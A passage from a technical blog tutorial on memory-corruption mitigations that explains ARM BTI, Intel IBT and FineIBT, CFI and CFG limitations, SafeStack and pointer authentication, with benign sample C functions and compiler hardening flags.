style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">}</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Define the add function</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">add</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> a, </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> b) {</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">return</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> a + b;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">}</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Define the subtract function</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">subtract</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> a, </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> b) {</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">return</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> a - b;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">}</span></p></td></tr></tbody></table><!--kg-card-end: html--><p></p><p>Compile the program with the following parameters in ARM gcc.</p><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup></colgroup><tbody><tr style="height:0pt"><td style="vertical-align:top;background-color:#333333;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">gcc -mbranch-protection=bti ibt_arm.c -o ibt_arm</span></p></td></tr></tbody></table><!--kg-card-end: html--><p>check the compiled code</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/dXA3OQc_8g2dTaDaGXSyjYL4suh-ip20wYDufU04QWY79YbbiRxKBpAK3x8XnEQz-SWn2tJ0GdJDfQp1VJi65Bdp3-RIs9R8ogTYeTM7p0ru7z42kWehJQcTche2xn8BIVW3wU4-IWGOf__2YgRhyek" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="487" height="439"></figure><p>You will notice the first instruction to be replaced as BTI in above assembly snippet. The syntax for BTI is</p><p><em><strong>BTI &lt;branch type&gt;</strong></em></p><p>There are 3 variants of the BTI instruction, which are valid targets for different kinds or branches: -</p><ul><li><em><strong>c</strong></em> -Branch Target Identification for function calls</li><li><em><strong>j</strong></em> - Branch Target Identification for jumps</li><li><em><strong>jc</strong></em> - Branch Target Identification for function calls or jumps.</li></ul><p>In our case the value is <em><code>BTI c</code></em> since <em>add </em>and <em>sub </em>are called as indirect function calls.</p><h3 id="ibt-indirect-branch-tracking">IBT (Indirect Branch Tracking)</h3><p>In the year 2020, Intel unveiled the particulars of the introduction of a hardware security measure called CET for Intel TigerLake processors, which became accessible to the publically in 2021. Intel CET encompasses two hardware-enforced measures referred to as Shadow stack and IBT (Indirect branch tracking). IBT represents one of the methods employed to mitigate the issue of forward edge CFI.</p><p>Similar to BTI, if IBT is enabled, the CPU will ensure that every indirect branch lands on a special instruction ( <em><code>endbr32</code></em> or <em><code>endbr64</code></em>), which executes as a no-op. If processor finds any other instruction than the expected <em>endbr</em>, it will raise a control-protection (#CP) exception. The state of IBT can be understood using following state machine:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/MdoOfZy8UeorOuM1aoEt7zXQVmrul1p1BRtLfrdK95fjL1qTL56Fx89aHM60dIYT4wW2Ouq4342Pyr0juIpDzpS0LhsE2pmQspf9AhBMP0MaUe8Bxw0Fhn2lT6BIlqDeVcHS88GO-npSu93K--k4zQQ" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="568" height="405"></figure><p>The processor implements a state machine that tracks indirect <em>JMP </em>and <em>CALL </em>instructions. When one of these instructions is seen, the state machine moves from <em>IDLE </em>to <em>WAIT_&#x200B;FOR_&#x200B;ENDBRANCH </em>state. In <em>WAIT_&#x200B;FOR_&#x200B;ENDBRANCH </em>state the next instruction in the program stream must be an <em>ENDBRANCH</em>. If an <em>ENDBRANCH </em>is not seen the processor causes a control protection fault (#CP), otherwise the state machine moves back to IDLE state.</p><p><strong>IBT in action</strong></p><p>Let&#x2019;s compile the same program we used for BTI for IBT:</p><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup></colgroup><tbody><tr style="height:0pt"><td style="vertical-align:top;background-color:#333333;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">gcc -fcf-protection ibt_intel.c -o ibt_intel</span></p></td></tr></tbody></table><!--kg-card-end: html--><p>You will notice following calls:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/q7yjex0OvGIZ0L5wrfbkUA6qHRIlDrDbpzE7jv-UoZfklFYASEWPzA9A4Mm5R0QG4sF_-rr7_ULHY5FWN4Dl8gXj1lofg4dUSR_lVw1h8_PpAhq0wsjltpODA3P7qFCanT-94HhmgiP2EoWsb1c6ykc" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="212" height="296"></figure><p>Here, the first instruction is &#xA0;<em><code>endbr64</code></em> in all indirect calls.</p><p>In windows, you can compile binary with IBT by using the following flag in visual studio<em> /CETCOMPAT</em>.</p><h5 id="fineibt-honorable-mention">FineIBT (Honorable mention)</h5><p>The default IBT implementation came with the drawback of allowing Code reuse of functions that are part of the Indirect branch target to be used as gadgets. To overcome this IBT limitation, In 2021 Intel&apos;s Joao Moreira raised patches for linux kernel which was later merged in linux kernel in 2022 <a href="https://github.com/torvalds/linux/commit/931ab63664f02b17d2213ef36b83e1e50190a0aa?ref=nixhacker.com">https://github.com/torvalds/linux/commit/931ab63664f02b17d2213ef36b83e1e50190a0aa</a>.</p><p>Under IBT, an attacker who is able to tamper with forward-edge transfers can still &#x201C;bend&#x201D; the control flow towards any of the valid/allowed function-entry points marked with <em>endbr</em>, because the CPU cannot differentiate among different types of endbr-marked code locations. To make a robust CFI solution using hardware assisted IBT, FineIBT instruments both the callers and the callees involved in indirect forward-edge transfers and verify if the correct callee is called from a given caller. The instrumentation can be understood using the following assembly snippet.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/l2i9w5zVXWUNZ9UupFx4ASzgSnAubjrpHRs1ancKQigeTHEou-A_nJfT12_k494YIYrLEGRJOlcVNeTNWDIHrTju-My-uFXegjDaS-DUHCUuy2HRIyoExEZM4ostOtAMK-UwvSFVJJUG4h9jV97TUfc" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="520" height="498"></figure><p>With FineIBT in place, before each indirect calls compiler instrument a code to move a random SID to any general purpose register (<em>eax</em> in above case) and on callee (<em>func0</em>), we verify if the value in <em><code>%eax</code></em> is matched or not using <em>sub </em>instruction at line 10. For all direct calls to any indirect function target, we create a clone of the original function (<em>func1_entry</em>) and call that rather than the original function.</p><p>Currently the technique is only supported in linux kernel.</p><h4 id="limitation-of-cfi-%E2%80%93-forward-edge">Limitation of CFI &#x2013; Forward edge</h4><p>Over the years, numerous researchers surfaced that bypasses CFI completely or at a certain level. We will go through some well known cases below.</p><h6 id="llvm-cfi-limitations"><em>LLVM CFI limitations</em></h6><p></p><p><strong>Performance penalty: </strong></p><p>Due to the inclusion of additional verification instructions and the incorporation of a runtime library, the performance of VTV can be affected, with a range of impact varying from 2% to 20% depending on how the application has been implemented i.e more virtual functions brings more performance impact.</p><p>The performance of IFCC is contingent upon the number of indirect calls executed by a program. In the majority of programs, the penalty incurred is less than 4%.</p><p><strong>Limitation in capability:</strong></p><p>The CFI present in CLANG is still not capable of protecting control flow divergence using CRA(Code reuse attack) based on backward edges i.e Return oriented programming.</p><blockquote>Note: Initial stage CFI implementation bypass research which is based on finding gadget on allowed targets using ROP: https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=6956588</blockquote><p><strong>Code reuse attack for forward edge</strong></p><p>Even though CFI&#x2019;s main goal is to protect Code reuse attack like ROP, there are certain type of CRA introduced over years to defeat existing CFI implementation. One such research mentioned below:</p><p><strong>COOP </strong>- <strong>Counterfeit Object-Oriented Programming</strong> is a code reuse attack approach targeting applications developed in C++ or possibly other object-oriented languages. At high level, it relies on finding protected targets in the application binary which can legitimately be called and doesn&#x2019;t cause CFI violation.</p><p>COOP, virtual functions existing in an application are repeatedly invoked on counterfeit C++ objects carefully arranged by the attacker. Counterfeit objects are <em>not</em> created by the target application, but are injected in bulk by the attacker.</p><p>To understand in more details, COOP relies on existing virtual function reuse called &#x201C;vfgadgets&#x201D;. Vfgadgets flow can be understood using below image:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/JUxs23P41UzQmHRpBpAYQ-5q2HrXWRLlPV6rhpqFWzzaBpRfE5ZK_ftTNJAkDicCSSDAa51Oobf7q6aeiPf2nIIBdgSLwqCF4T17j_fisn4JFnHJoihzHPego8CkvbYDSb_zMj0lgxPRn5Ve00SEujs" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="329" height="335"></figure><p>Once an attacker is able to control the <em>vptr</em>,<em> </em>it will redirect the execution to Main loop <em>vfgadget </em>which executes in loop. From this main loop gadget, the attacker invoke the actual <em>vfgadget </em>that are injected on process memory as payload.</p><p>COOP can be use to bypass most CFI implementation besides LLVM or GCC VTV and SafeDispatch.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/wNz-dwQGXb14WaHUVkuznKv9KTYzfV6fwvpcz1MJEoQwiXCFbgBv5N6wJjwweKMSlztboA8IdQ9nrrWpx1M6F2jcpVvpcqrItyiHALD2QOlv9Rrk0lV-yfeMbaVxG6MG1-eo5gFU_Mr3uZn1rHo7yTY" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="574" height="275"></figure><p>Image source: <a href="https://www.youtube.com/watch?v=NDt7Tholxp4&amp;ref=nixhacker.com">https://www.youtube.com/watch?v=NDt7Tholxp4</a></p><p>You can read more about the attack here: <a href="https://ieeexplore.ieee.org/document/7163058?ref=nixhacker.com">https://ieeexplore.ieee.org/document/7163058</a></p><p></p><p><strong>Limitation in linux kernel:</strong></p><p>For linux kernel the earlier default CFI implementation that was similar to CFI-CLANG was less powerful since even though the CFI reduce the attack surface to limited call sites, in linux kernel most function have prototype of <em>void foo(void)</em></p><h5 id="limitation-of-cfg">Limitation of CFG</h5><p>Windows implementation of CFI named Control flow guard has two implementation limitations about requirement of ASLR and alignment of guard functions. If a binary doesn&#x2019;t support ASLR then CFG cannot be implemented in the following binary due to the fact that CFG relies on ASLR to work properly.</p><p>Besides that, CFG requires all guard functions to be aligned to 0x10. If the function call is not aligned to 0x10, it will use an odd bit only. This allows untrusted function call near trusted function call. In detail: CFG is able to precisely mark a valid target only if it is the only target in its address range and it is 16-byte aligned. In that case, the state will be 10. However,if a target is not aligned, or there are multiple targets in the same range, then the state will have to be set to 11, which allows branches to any address in the range. In other words,we can freely alter the lower 4 bits of a valid unaligned target and the result will still be a valid target. This enables us to reach code located near an unaligned function&#x2019;s entry point, which leads to interesting code sequences. You can read more about it here: <a href="https://www.ndss-symposium.org/wp-content/uploads/2018/02/ndss2018_05A-3_Biondo_paper.pdf?ref=nixhacker.com">https://www.ndss-symposium.org/wp-content/uploads/2018/02/ndss2018_05A-3_Biondo_paper.pdf</a></p><p><strong>Unsupported module presence in process</strong></p><p>CFG depends on compile and link level processing. As a result, third party modules and even old versions of MS binaries are not safeguarded by CFG. Furthermore, if the main executable image is not designed for CFG, CFG will be entirely disabled during the process, even if it loads system modules that do support CFG.</p><p><strong>JIT code bypass</strong></p><p>CFG doesn&#x2019;t support JIT generated code. It can contain unprotected code and all corresponding bits in the CFG Bitmap are set.</p><p>More details here: <a href="https://www.blackhat.com/docs/us-15/materials/us-15-Zhang-Bypass-Control-Flow-Guard-Comprehensively-wp.pdf?ref=nixhacker.com">https://www.blackhat.com/docs/us-15/materials/us-15-Zhang-Bypass-Control-Flow-Guard-Comprehensively-wp.pdf</a></p><p></p><h2 id="cfi-backward-edge-integrity">CFI (Backward edge Integrity)</h2><p></p><p>To ensure the effectiveness of CFI in various situations, hardware manufacturers have implemented several CFI backward edge techniques that closely resemble the workings of many first-generation techniques but rely heavily on hardware. However, the initial significant advancement in backward edge was introduced as a software solution in clang in 2014, which we will examine first.</p><h3 id="safestack">SafeStack</h3><p>The initial implementation of protection for backward edges was presented in a research paper published in 2014, which focused on Code Pointer Integrity (CPI). The paper also discussed SafeStack, a key element of Code Pointer Separation that provides defense for both return addresses and local variables. This protective measure was first introduced in clang 3.8 in the same year and continues to be utilized to this day.</p><p><strong>Introduction to CPI</strong></p><p>CPI fully protects the program against all control-flow hijack attacks that exploit program memory bugs. In a nutshell, it protect all types of code pointer (backward or forward edge) i.e it guarantees the integrity of all code pointers in a program (e.g., function pointers, saved return addresses) and thereby prevents all control-flow hijack attacks, including return-oriented programming.</p><p>The key idea behind CPI &#xA0;is to split process memory into a safe region and a regular region. CPI uses static analysis to identify the set of memory objects that must be protected in order to guarantee memory safety for code pointers. This set includes all memory objects that contain code pointers and all data pointers used to access code pointers indirectly. All objects in the set are then stored in the safe region, and the region is isolated from the rest of the address space (e.g., via hard-ware protection). The safe region can only be accessed via memory operations that are proven at compile time to be safe or that are safety-checked at runtime.</p><p><strong>Safe Stack technical details</strong></p><p>Safe stack is to protect the return address. It does that by placing all proven-safe objects(return address and local variables) onto a safe stack located in the safe region. The safe stack can be accessed without any checks.</p><p>The safe stack mechanism consists of a static analysis pass, an instrumentation pass, and runtime support. The analysis pass identifies, for every function, which objects in its stack frame are guaranteed to be accessed safely and can thus be placed on the safe stack; return addresses and spilled registers always satisfy this criterion. For the objects that do not satisfy this criterion, the instrumentation pass inserts code that allocates a stack frame for these objects on the regular stack.</p><h4 id="safe-stack-in-action">Safe Stack in action</h4><p>Let&#x2019;s compile our above mentioned standard program with safe stack protection on. You can compile file with clang and pass <em>-fsanitize=safe-stack</em> flag.</p><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup></colgroup><tbody><tr style="height:0pt"><td style="vertical-align:top;background-color:#333333;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">clang -fsanitize=safe-stack safestack.c -o safestack</span></p></td></tr></tbody></table><!--kg-card-end: html--><p>You will see some instrumentation added to the program function.</p><p>Before:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/KFfbJQCoBn0SOIGL-P8E9j7KaLtycaUplcvdoD6Uzc-7LLOrQAFOdNOiJLSE9EXyCRjTTHLuIe6R5qVAisje3hNptTX_ozz9h-UGZURwvVf5PqyvkGTNp8uI4PouJ2MTgzqBiyxKLYikYljZlGmsqbo" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="624" height="228"></figure><p>After:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/0JeDvdo2kr0l1Q8uGhlb-O7kAWje3AC6BwNroiwAPWPlOGgySnuVTag147Uy_l_JOiejAwW3iycJrF5TY5UAuf_Uc55qOjYfuPR7DGDXJ60U4TvJvBAezePKIItRSmgLdw1LPz9_vH9AaMquxfV9SiM" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="624" height="296"></figure><p><strong>Resources:</strong></p><p>You can read more about SafeStack and CPI here: <a href="https://dslab.epfl.ch/pubs/cpi.pdf?ref=nixhacker.com">https://dslab.epfl.ch/pubs/cpi.pdf</a>.</p><p>TODO: Add safestack bypasses section</p><p></p><h3 id="pac-pointer-authentication-code">PAC (Pointer authentication code)</h3><p>ARM has the distinction of introducing Pointer authentication, the first technique for backward edge, which was introduced in ARM v8.3 architecture that was released in late 2016. Subsequently, support for PA was added in gcc in 2017 (v7) and in the Linux kernel in 2018.</p><p>Pointer authentication not only focuses on protecting backward edges, but is also effective in scenarios involving modifications of all types of pointers, such as function or data pointer validations. However, it is most commonly used by compilers to protect backward edges, specifically return addresses.</p><h5 id="pointer-authentication-technical-details">Pointer authentication technical details</h5><p>From the title, you can anticipate the purpose of pointer authentication, which is to verify whether a pointer is valid or not before utilizing it. ARM incorporates a PAC (Pointer Authentication Code) into every pointer that needs protection prior to storing it in memory, and confirms its integrity before using it. This PAC is stored in the top byte ignore bits (usually the 48th to 64th bit if Tagging is deactivated) of the virtual address space in ARM. In order to alter a protected pointer, an attacker would need to discover or guess the correct PAC in order to gain control over the program&apos;s flow.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/OaPMa2FXRLvGIPvidqDtdRvLyA7yD876_fJv7-_FUxp8BHjefn4UFTrXRPvB0LLQ8_gTf_bn-iaJK3ZhtPW5FR81-6HVYg-mzcP7gwzEbMokXtTVfOF2s8iXR2rBnxO33MKbpHFov4ksp6ShLS-6qxY" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="537" height="168"></figure><p>ARM uses a key generated for specific context to create PAC. The pointer authentication specification defines five keys: two for instruction pointers, two for data pointers and one for a separate general-purpose instruction for computing a MAC over longer sequences of data. The instruction encoding determines which key to use. For protection of key, it is stored in internal registers and are not accessible by EL0 (user mode), but otherwise are not tied to exception levels. Whenever a process is created, the kernel(running in EL1) will generate a random key and store it in that process&apos;s context; the process will then be able to use that key to sign and authenticate pointers, but it cannot read the key itself.</p><p>Generation and use of PAC is handled by two set of instructions: <em>PAC*</em> and <em>AUT*</em>. <em>PAC*</em> is used to compute and add PAC and <em>AUT*</em> is used for verifying the PAC. To generate PAC three values are used, the pointer itself, a secret key hidden in the process context, and a third value like the current stack pointer passed through a cipher called QARMA. PAC is the truncate output of the resulting cryptographic operation.</p><p><strong>Implementation of PAC</strong></p><p>PAC can be enabled in AARCH64 architecture using <em>CONTROL.PAC_EN</em> or <em>CONTROL.UPAC_EN</em> flags. The Pointer authentication flow can be understood using the diagram below.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/ydNrKCN1aJZsa4YftTEiSj2XyvhiVCLT0d8ld5ASKC6yl_iG1Z-8tSUD53Rh1ePHunAcGYq5ngOS6Y7eLG2bUP0UmI3Bnb6vE9j-qwF_WMRDlw8Nv8M2eQghumSoioAs1Ie-rNMm50Kwp6JmlMNFcq0" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="624" height="272"></figure><p>Source: <a href="https://www.youtube.com/watch?v=UD1KKHyPnZ4&amp;ref=nixhacker.com">USENIX Security &apos;19 - PAC it up: Towards Pointer Integrity using ARM Pointer Authentication</a></p><h5 id="pointer-authentication-in-action">Pointer authentication in action:</h5><p>Let&#x2019;s compile our above program with Pointer authentication on. You can pass one of the following flag to gcc:</p><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup></colgroup><tbody><tr style="height:0pt"><td style="vertical-align:top;background-color:#333333;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">-msign-return-address=all (deprecated)</span></p></td></tr></tbody></table><!--kg-card-end: html--><p>or</p><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup></colgroup><tbody><tr style="height:0pt"><td style="vertical-align:top;background-color:#333333;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">-mbranch-protection=pac-ret</span></p></td></tr></tbody></table><!--kg-card-end: html--><p>Let&#x2019;s check the changes of <em>main()</em> function due to PAC after compilation:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/hxkkrNZ6iDYcK4JsSFe66egaIdtqQc9maJkMk4qiddui03JzNS6LAxqhUStfhR3yFGHUcqXnF5jGAlqrGN7K66y1El_Qug8ot_J7hPCJ22pJIfbXBWMp64YgfdU05czIdLp6Q1oC2nDj6QJwV0dK4rU" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="582" height="269"></figure><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/_4TqdFEeEnBUpWbDqE0TvydNOVoZ6pGqDBbXZ63gyW8OQxwmn4aE6S_Sb9XH04UFVKu-YYrvarcM7_y0hxg5fwOWR3aKPeSdWK7TtIycWga4RFfjWUJJ-TtYTKPSLTPNv0AI3WAB7As4OwmsCUeP3k4" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="582" height="269"></figure><p>You will see <em>paciasp </em>instruction at top which will generate PAC and store it in stack and <em>rsp </em>register. At the epilog of the program, <em>autiasp </em>will verify if the value of PAC in stack is similar to what is present in address top bytes or not. On difference, the program will crash.</p><p>Note: You will not see pointer authentication been used in add or subtract function since these function don&#x2019;t have local variables.</p><p><strong>Resources</strong></p><p><a href="https://www.qualcomm.com/content/dam/qcomm-martech/dm-assets/documents/pointer-auth-v7.pdf?ref=nixhacker.com">https://www.qualcomm.com/content/dam/qcomm-martech/dm-assets/documents/pointer-auth-v7.pdf</a></p><p><a href="https://community.arm.com/arm-community-blogs/b/architectures-and-processors-blog/posts/armv8-1-m-pointer-authentication-and-branch-target-identification-extension?ref=nixhacker.com">https://community.arm.com/arm-community-blogs/b/architectures-and-processors-blog/posts/armv8-1-m-pointer-authentication-and-branch-target-identification-extension</a></p><p></p><h3 id="shadow-stack">Shadow stack</h3><p>As part of CET, intel has introduced shadow stack (along with IBT) from Intel 